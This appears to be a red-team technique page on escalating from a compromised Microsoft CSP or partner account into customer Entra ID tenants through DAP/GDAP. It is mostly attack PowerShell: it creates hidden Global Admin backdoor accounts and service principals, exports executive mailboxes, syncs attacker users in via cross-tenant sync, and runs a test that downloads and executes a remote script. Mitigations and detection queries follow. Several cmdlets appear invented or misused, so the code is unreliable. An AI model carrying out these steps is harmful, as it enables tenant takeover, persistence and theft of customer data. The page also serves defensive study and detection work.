| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-014 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | M365 / Entra ID / Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions; DAP (legacy) most vulnerable; GDAP also exploitable if misconfigured |
| Patched In | Mitigated (not patched; requires administrative action to remove DAP or restrict GDAP) |
| Author | SERVTEP – Artur Pchelnikau |
Delegated Administrative Privileges (DAP) and Granular Delegated Administrative Privileges (GDAP) are legitimate mechanisms that enable Microsoft Cloud Solution Providers (CSPs), Managed Service Providers (MSPs), and Partners to manage customer tenants on their behalf. However, if a CSP/Partner tenant is compromised, or if a malicious insider within a trusted partner abuses their access, an attacker can leverage these delegated permissions to escalate privileges within customer tenants. The core risk stems from DAP granting blanket Global Administrator rights to the partner’s “Admin Agents” group, combined with lack of granular auditing and absence of time-bound access in legacy DAP relationships. An attacker who compromises a CSP account or is an insider within a trusted MSP can:
Catastrophic risk of multi-customer supply chain compromise. Attacker can:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.4 | Delegated Administrative Privileges must be monitored and limited; DAP should be removed |
| CISA SCuBA | ACC-05 | Partner access must be time-bound and reviewed quarterly |
| NIST 800-53 | AC-3 (Access Enforcement) | Third-party access must be scoped and monitored |
| NIST 800-53 | AC-4 (Information Flow Enforcement) | Delegated access should not bypass audit controls |
| GDPR | Art. 28 (Processor Contracts) | Service provider agreements must include audit and control requirements |
| GDPR | Art. 32 (Security of Processing) | Security controls over third-party access must be documented |
| DORA | Art. 9 (Protection and Prevention) | Critical infrastructure operators must monitor and restrict third-party access |
| NIS2 | Art. 21 (Cyber Risk Management) | Supply chain security including partner access restrictions required |
| ISO 27001 | A.14.2.1 (Supplier Relationships) | Information security requirements for suppliers must be specified |
| ISO 27005 | Risk Scenario: “Compromise of Service Provider Infrastructure” | Supply chain attacks represent critical organizational risk |
Step 1: Enumerate Delegated Admin Relationships
Step 2: Check for DAP/GDAP Relationships in Partner Center (if customer has access)
What to Look For:
Command 1: List All Delegated Admin Relationships
# Connect to customer tenant
Connect-MgGraph -Scopes "Directory.Read.All"
# List all users with delegated admin roles
$delegatedAdmins = Get-MgUser -Filter "userType eq 'Guest'" |
Where-Object { $_.UserPrincipalName -match "@partner.onmicrosoft.com" -or $_.UserPrincipalName -match "@csp.partner" }
foreach ($admin in $delegatedAdmins) {
Write-Host "Delegated Admin Found: $($admin.DisplayName) ($($admin.UserPrincipalName))"
# Get their roles
$roles = Get-MgUserMemberOf -UserId $admin.Id
foreach ($role in $roles) {
Write-Host " Role: $($role.DisplayName)"
}
}
Command 2: Check Azure Subscriptions for Foreign Principals (AOBO)
# List all subscriptions with foreign principal owners
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
Set-AzContext -SubscriptionId $sub.Id
$roleAssignments = Get-AzRoleAssignment -RoleDefinitionName "Owner"
foreach ($assignment in $roleAssignments) {
if ($assignment.ObjectType -eq "ForeignGroup" -or $assignment.ObjectType -eq "ForeignPrincipal") {
Write-Warning "FOREIGN PRINCIPAL FOUND!"
Write-Warning "Subscription: $($sub.DisplayName)"
Write-Warning "Principal: $($assignment.DisplayName)"
Write-Warning "Type: $($assignment.ObjectType)"
}
}
}
What to Look For:
Delegated Admin Found: Partner Support Team (support@partner.onmicrosoft.com)
Role: Global Administrator
Role: Helpdesk Administrator
FOREIGN PRINCIPAL FOUND!
Subscription: Production-East
Principal: AdminAgents
Type: ForeignGroup
# From compromised CSP tenant, enumerate customers
Connect-MgGraph -Scopes "Directory.Read.All"
# List all customer tenants delegated to this CSP
$customerTenants = Get-MgOrganization
# List application with AOBO permissions
Get-MgServicePrincipal -Filter "appDisplayName eq 'Partner Center Admin Connector'" |
Select-Object DisplayName, Id, AppId
Supported Versions: All Entra ID versions (DAP affects organizations still using legacy relationships)
Objective: Obtain credentials for a user within the CSP tenant who has delegated admin permissions.
Method A: Social Engineering / Credential Theft
Method B: Insider Threat
Method C: CSP Tenant Compromise via Supply Chain
Command (if insider with CSP access):
# Once inside CSP tenant with delegated admin account
$cspCreds = Get-Credential # Use compromised CSP admin credentials
Connect-MgGraph -Credential $cspCreds
Expected Outcome:
Successfully authenticated as: partner_admin@partnercsp.onmicrosoft.com
Roles: Global Administrator
Delegated Customers: 150+ tenants
Objective: List all customer tenants the compromised CSP has delegated access to.
Command:
# List all customers accessible via delegated admin permissions
# This info is typically available in Partner Center or via Graph API
# Method 1: Via Partner Center API (if configured)
$customers = Get-PartnerCustomer # Hypothetical cmdlet; actual implementation varies by CSP tools
# Method 2: Via Azure Subscription enumeration (AOBO discovery)
$allSubscriptions = Get-AzSubscription
foreach ($sub in $allSubscriptions) {
$tenantId = $sub.TenantId
Write-Host "Customer Tenant: $tenantId"
}
What to Look For:
Customer Tenant: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (Acme Corp)
Customer Tenant: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy (Globex Inc)
Customer Tenant: zzzzzzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz (Initech)
Objective: Authenticate to the customer tenant using DAP/AOBO permissions.
Command (Method 1: Direct Authentication via AOBO Token):
# Request an AOBO token for a customer tenant
# This leverages the delegated admin relationship to obtain a token for the customer
$customerTenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$graphApiEndpoint = "https://graph.microsoft.com"
# The AOBO mechanism automatically elevates the request to the delegated admin context
$token = Get-MgAccessToken # This would include customer context if AOBO is configured
# Connect to customer tenant using AOBO token
Connect-MgGraph -AccessToken $token -TenantId $customerTenantId
# Verify Global Admin access
Get-MgRoleManagementPolicy -Filter "displayName eq 'Global Administrator'" |
Select-Object DisplayName, Rules
Command (Method 2: PowerShell Cross-Tenant Access)
# Authenticate as CSP, then request access to customer tenant
Connect-AzAccount -Credential $cspCreds -Tenant "partnercsp.onmicrosoft.com"
# Switch context to customer tenant (works if AOBO is configured)
Set-AzContext -Subscription $customerSubscriptionId -Tenant $customerTenantId
# Now you have access as the delegated admin
Get-AzRoleAssignment -Scope "/subscriptions/$customerSubscriptionId"
Expected Output:
Account: partner_admin@partnercsp.onmicrosoft.com (Delegated Admin Context)
Tenant: Acme Corp (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
Roles: Global Administrator (inherited via DAP)
Resources Accessible: All subscriptions, all Entra ID users, all M365 services
What This Means:
Objective: Create a permanent backdoor account that persists even if DAP access is removed.
Command (Create Hidden Global Admin Account):
# While in customer tenant context as delegated admin
# Create a new user that appears as internal (not a guest)
$newAdminUpn = "cloud.support@customertenant.onmicrosoft.com"
$newAdminPassword = "P@ssw0rd!ComplexPassword123"
# Create the user
$newUser = New-MgUser -UserPrincipalName $newAdminUpn `
-DisplayName "Cloud Support Services" `
-MailNickname "cloud.support" `
-Password (ConvertTo-SecureString -AsPlainText $newAdminPassword -Force) `
-AccountEnabled:$true
Write-Host "Created user: $($newUser.Id)"
# Assign Global Administrator role
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin role ID
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRoleId -RefObjectId $newUser.Id
Write-Host "User promoted to Global Administrator"
Command (Alternative: Create Service Principal with Admin Role):
# Create an app registration with admin permissions
$app = New-MgApplication -DisplayName "Customer Support API" `
-IsDeviceOnlyAuthenticationEnabled:$false
# Create service principal
$sp = New-MgServicePrincipal -AppId $app.AppId `
-DisplayName "Customer Support API"
# Assign Global Admin role to service principal
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRoleId -RefObjectId $sp.Id
# Create client secret for authentication
$secret = Add-MgApplicationPassword -ApplicationId $app.Id
Write-Host "Service Principal Created with Global Admin Role"
Write-Host "Client ID: $($app.AppId)"
Write-Host "Client Secret: $($secret.SecretText)"
Expected Outcome:
User Created: cloud.support@acmecorp.onmicrosoft.com (Global Administrator)
Service Principal Created: "Customer Support API" (Global Administrator)
Attacker now has permanent backdoor access to customer tenant
Even if DAP is removed, these accounts persist
OpSec & Evasion:
Objective: Use backdoor admin access to exfiltrate sensitive data or maintain long-term persistence.
Command (Export Exchange Mailboxes):
# Export mailboxes of high-value targets (CEO, CFO, etc.)
$targetUser = Get-MgUser -Filter "mail eq 'ceo@acmecorp.com'" | Select-Object Id
# Create a search and export (Exchange Online)
New-ComplianceSearch -Name "CEO_Export" -ExchangeLocation $targetUser.Id -ContentMatchQuery "All"
Start-ComplianceSearch -Identity "CEO_Export"
# Wait for search to complete
Start-Sleep -Seconds 30
# Export results
New-ComplianceSearchAction -SearchIdentity "CEO_Export" -Action Export
Command (Create Golden SAML for Federation Persistence):
# If customer uses ADFS or SAML federation, extract federation certificates
# Then use them to forge SAML tokens for persistent access
# Enumerate federation configuration
Get-MgOrganization -Property verifiedDomains | Select-Object VerifiedDomains
# Extract SAML signing certificate (if accessible via MSOL or ADFS)
# This allows forging login tokens that bypass MFA
Command (Create Service Principal with Subscriptions Role):
# Grant subscription-level access via service principal
$sp = Get-MgServicePrincipal -Filter "displayName eq 'Customer Support API'"
# Assign Owner role on all subscriptions
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
New-AzRoleAssignment -ObjectId $sp.Id `
-RoleDefinitionName "Owner" `
-Scope "/subscriptions/$($sub.Id)"
}
Write-Host "Service principal granted Owner on all subscriptions"
Supported Versions: All Entra ID versions (GDAP is newer mechanism, still exploitable if misconfigured)
Objective: Obtain GDAP admin credentials within the CSP or customer tenant.
Command:
# Enumerate GDAP relationships visible to your current account
Get-MgDirectoryRoleTemplate | Where-Object {$_.DisplayName -like "*delegat*"}
# List users with GDAP roles
Get-MgUser | Where-Object {$_.UserPrincipalName -match "gdap|partner"}
Objective: Accept a GDAP relationship that was proposed but pending customer approval.
Command (from CSP tenant with GDAP admin access):
# Connect to CSP tenant
Connect-MgGraph -Scopes "DelegatedAdminRelationship.ReadWrite.All"
# List pending GDAP relationships waiting for acceptance
$pendingRelationships = Get-MgTenantRelationship |
Where-Object {$_.Status -eq "pendingAcceptance"}
foreach ($rel in $pendingRelationships) {
Write-Host "Pending GDAP: $($rel.DisplayName)"
Write-Host "Customer Tenant: $($rel.CustomerTenantId)"
# Accept the relationship (if you have authorization)
Update-MgTenantRelationship -DelegatedAdminRelationshipId $rel.Id `
-Status "active"
Write-Host "GDAP Relationship activated!"
}
What This Means:
Objective: Once inside customer via GDAP, escalate beyond the granted role to Global Admin.
Command (Privilege Escalation via Application Administrator Role):
# If GDAP grants "Application Administrator" role, use it to escalate
# Step 1: Create app registration with Global Admin permissions
$app = New-MgApplication -DisplayName "Support Automation" `
-RequiredResourceAccess @(
@{
ResourceAppId = "00000003-0000-0000-c000-000000000000" # MS Graph
ResourceAccess = @(
@{
Id = "9e640839-a198-48fb-891f-d8d56cb8a0c5" # Directory.ReadWrite.All
Type = "Role"
}
)
}
)
# Step 2: Create service principal for the app
$sp = New-MgServicePrincipal -AppId $app.AppId
# Step 3: As Application Admin, grant Global Admin to the service principal
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRoleId -RefObjectId $sp.Id
Write-Host "Service Principal granted Global Admin via Application Administrator escalation"
Supported Versions: Entra ID P1/P2 (CTS requires premium licenses)
Objective: Create a cross-tenant synchronization policy that syncs attacker-controlled users into customer tenant.
Command (from attacker-controlled tenant):
# Connect to attacker's tenant
Connect-MgGraph -Scopes "Policy.ReadWrite.CrossTenantAccess"
# Define the customer tenant as a target
$customerTenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
# Create cross-tenant access policy for outbound sync
$policy = New-MgPolicyCrossTenantsAccessPolicy -DisplayName "Partner Sync" `
-TargetTenantId $customerTenantId `
-AccessType "AllUsers" `
-SyncDirection "PushToPartner"
Write-Host "CTS policy created: $($policy.Id)"
Objective: Sync a malicious user from attacker’s tenant into the customer tenant via CTS.
Command (from attacker tenant):
# Create or update CTS sync scope to include attacker user
$attackerUser = Get-MgUser -Filter "mail eq 'attacker@attacker-domain.onmicrosoft.com'"
# Add the user to the CTS sync group
Add-MgGroupMember -GroupId "{ctsGroupId}" -DirectoryObjectId $attackerUser.Id
# The user will automatically sync to the customer tenant with the specified role
Write-Host "Attacker user synced to customer tenant via CTS"
Objective: Login to customer tenant using the synced identity.
Command (from customer tenant browser):
Navigate to: https://portal.azure.com
Sign in as: attacker@attacker-domain.onmicrosoft.com (external identity)
Access will be granted based on CTS role assignments in customer tenant
Test ID: T1078.004 - Create User Account (Cloud/CSP Context)
Description: This test simulates a CSP account compromise and delegated admin access exploitation.
Supported Versions: All Entra ID versions
Test Command:
# Step 1: Install Atomic Red Team
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/invoke-atomicredteam.ps1' -UseBasicParsing)
# Step 2: Run T1078.004 tests
Invoke-AtomicTest T1078.004 -TestNumbers 1,2,3 -Verbose
# Step 3: Verify delegated admin account creation
Get-MgUser -Filter "userType eq 'Member'" | Where-Object {$_.DisplayName -like "*Support*"} |
Select-Object DisplayName, UserPrincipalName, UserType
Cleanup Command:
# Remove created backdoor accounts
$backdoorUsers = Get-MgUser -Filter "displayName eq 'Cloud Support Services'"
Remove-MgUser -UserId $backdoorUsers.Id
# Remove GDAP relationships (if created)
Get-MgTenantRelationship | Remove-MgTenantRelationship
Reference: Atomic Red Team T1078.004
Action 1: Remove All Legacy DAP (Delegated Administrative Privileges) Relationships
Manual Steps (Azure Portal / Partner Center):
Manual Steps (PowerShell - Customer Removes CSP Access):
# From customer tenant
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
# Find all users from partner/CSP organization
$partnerUsers = Get-MgUser -Filter "userType eq 'Guest'" |
Where-Object {$_.Mail -match "@partner.com" -or $_.UserPrincipalName -match "partner"}
foreach ($user in $partnerUsers) {
# Remove user from Global Admin role
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRoleId -MemberId $user.Id
# Optionally remove the user entirely
Remove-MgUser -UserId $user.Id
}
Write-Host "All DAP relationships removed"
Manual Steps (CSP Removes DAP on Customer Side):
# From CSP tenant
Connect-PsSession -ComputerName "<customer-tenant>" -Credential $adminCreds
# Via Partner Center API or PowerShell module
Remove-PartnerCustomerDelegatedAdminPrivilege -CustomerId "<customer-tenant-id>"
Write-Host "DAP relationship for customer terminated"
Validation Command:
# Verify DAP is removed - should return no results
Get-MgUser -Filter "userType eq 'Guest'" |
Where-Object {$_.UserPrincipalName -match "@partner.com"}
# If nothing is returned, DAP is successfully removed
Expected Output (If Secure):
(No results - all partner guest users removed or all DAP admin roles revoked)
Action 2: Implement GDAP (Granular DAP) with Least Privilege & Time Boundaries
Manual Steps (Replace DAP with GDAP):
Manual Steps (Configure GDAP via PowerShell - Partner):
# Connect to partner tenant
Connect-MgGraph -Scopes "DelegatedAdminRelationship.ReadWrite.All"
# Create GDAP relationship (not DAP)
$gdapConfig = @{
DisplayName = "Customer Support - Least Privilege"
CustomerTenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
Roles = @(
"Exchange Administrator" # Only Exchange support
"Teams Administrator" # Only Teams support
# NOT "Global Administrator"
)
DurationInDays = 365
AutoRenewal = $false # Requires manual renewal each year
}
$gdapRelationship = New-MgTenantRelationship -DisplayName $gdapConfig.DisplayName `
-AccessType "Limited" `
-Duration $gdapConfig.DurationInDays
Write-Host "GDAP relationship created - awaiting customer approval"
Write-Host "Relationship ID: $($gdapRelationship.Id)"
Manual Steps (Monitor GDAP Expirations):
# Run quarterly to check for soon-to-expire GDAP relationships
$relationships = Get-MgTenantRelationship | Where-Object {$_.Status -eq "active"}
foreach ($rel in $relationships) {
$daysUntilExpiration = (New-TimeSpan -Start (Get-Date) -End $rel.ExpirationDateTime).Days
if ($daysUntilExpiration -le 30) {
Write-Warning "GDAP expiring soon: $($rel.DisplayName) (expires in $daysUntilExpiration days)"
# Send renewal reminder to customer
}
}
Action 3: Enable Comprehensive Audit Logging for Delegated Access
Manual Steps (Enable Audit Logging - Customer):
Manual Steps (Enable Audit Logging - CSP):
# Enable detailed logging for all customer-facing accounts
$cspAdmins = Get-MgUser -Filter "mail eq 'admin@partnercsp.com'"
foreach ($admin in $cspAdmins) {
# Enable sign-in log collection
Update-MgUser -UserId $admin.Id -SignInSessionsValidFromDateTime (Get-Date)
}
# Enable audit of IAM changes
Get-MgOrganization | Select-Object *AuditLog*
Action 4: Implement Cross-Tenant Access Policies to Restrict Inbound Trust
Manual Steps (Restrict Inbound Tenant Trust):
Manual Steps (PowerShell):
# Restrict cross-tenant access
Update-MgPolicyCrossTenantsAccessPolicy -OrganizationTenantId "{organization-id}" `
-IsSystemDefault $true `
-InboundTrust @{
MfaRequired = $true
CompliantDeviceRequired = $true
HybridAzureAdJoinedDeviceRequired = $false
} `
-InboundAllowedUsers "ExceptGuests" # Block all guest access by default
Action 5: Audit & Remove Overly Permissive Service Principals
Manual Steps (Identify Risky Service Principals):
# Find service principals with Global Admin role
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"
Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRoleId |
Where-Object {$_.ObjectType -eq "ServicePrincipal"} |
Select-Object DisplayName, Id
# Review each service principal and remove if not authorized
foreach ($sp in $servicePrincipals) {
Write-Host "Review SPN: $($sp.DisplayName)"
# Manually verify each service principal is legitimate
}
Action 6: Enforce Periodic Re-Authorization of GDAP Relationships
Manual Steps (Require Annual GDAP Renewal):
Manual Steps (PowerShell - Force Renewal):
# Create reminder workflow for exiring GDAP relationships
$relationships = Get-MgTenantRelationship | Where-Object {$_.Status -eq "active"}
foreach ($rel in $relationships) {
$daysUntilExpiration = (New-TimeSpan -Start (Get-Date) -End $rel.ExpirationDateTime).Days
if ($daysUntilExpiration -eq 60) {
# Send email reminder to both partner and customer
Send-RenewalNotification -PartnerTenant $rel.ParentTenantId -CustomerTenant $rel.CustomerTenantId
}
if ($daysUntilExpiration -eq 0) {
# Revoke access at expiration
Disable-MgTenantRelationship -DelegatedAdminRelationshipId $rel.Id
}
}
Conditional Access:
RBAC/ABAC:
Policy Config (ReBAC/PBAC):
Activity Patterns (from customer perspective):
Audit Log Signals (Customer Tenant - KQL):
OperationName contains ("Add member" OR "Assign role" OR "Create user")
InitiatedBy contains "partner" OR "csp" OR "delegated"
TargetResources contains "Global Admin" OR "Global Administrator"
Audit Log Signals (Partner Tenant - KQL):
OperationName contains ("User created" OR "Role assigned")
InitiatedBy equals "{compromised-admin-account}"
TargetResources > 5 # Bulk operations across multiple tenants
Cloud (Azure Activity Log & Audit Logs):
Get-AzActivityLog / Search-UnifiedAuditLogCaller: Partner email (e.g., admin@partnercsp.com)OperationName: “Add member to role”, “Assign role”, “Create user”ResourceId: User ID, Service Principal ID, Subscription IDTimeGenerated: Timestamp (often during off-business hours in customer’s timezone)Result: “Success” (not “Failure”)Sample Forensic Query (KQL):
AuditLogs
| where InitiatedBy.user.userPrincipalName matches regex "@partner\\.(com|onmicrosoft.com)"
| where OperationName in ("Add member to role", "Create user", "Update user")
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName, TargetResources, Result
| summarize Count=count() by InitiatedBy.user.userPrincipalName, TimeGenerated
Entra ID Sign-In Logs (KQL):
SigninLogs
| where UserPrincipalName matches regex "@partner\\.(com|onmicrosoft.com)"
| where AppDisplayName in ("Azure Portal", "Microsoft 365 admin center", "Azure PowerShell")
| where ConditionalAccessStatus != "success" # Or look for specific anomalies
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes CSP support staff for credentials |
| 2 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker sprays passwords against CSP tenant |
| 3 | Privilege Escalation | [PE-VALID-014] | Attacker uses compromised CSP account to escalate via DAP/GDAP |
| 4 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker creates persistent service principal in customer tenant |
| 5 | Lateral Movement | [LM-AUTH-021] Azure Lighthouse Cross-Tenant | Attacker uses backdoor to access other customer tenants |
| 6 | Collection | [COLLECTION-012] Mailbox Export via Delegated Access | Attacker exports customer email data |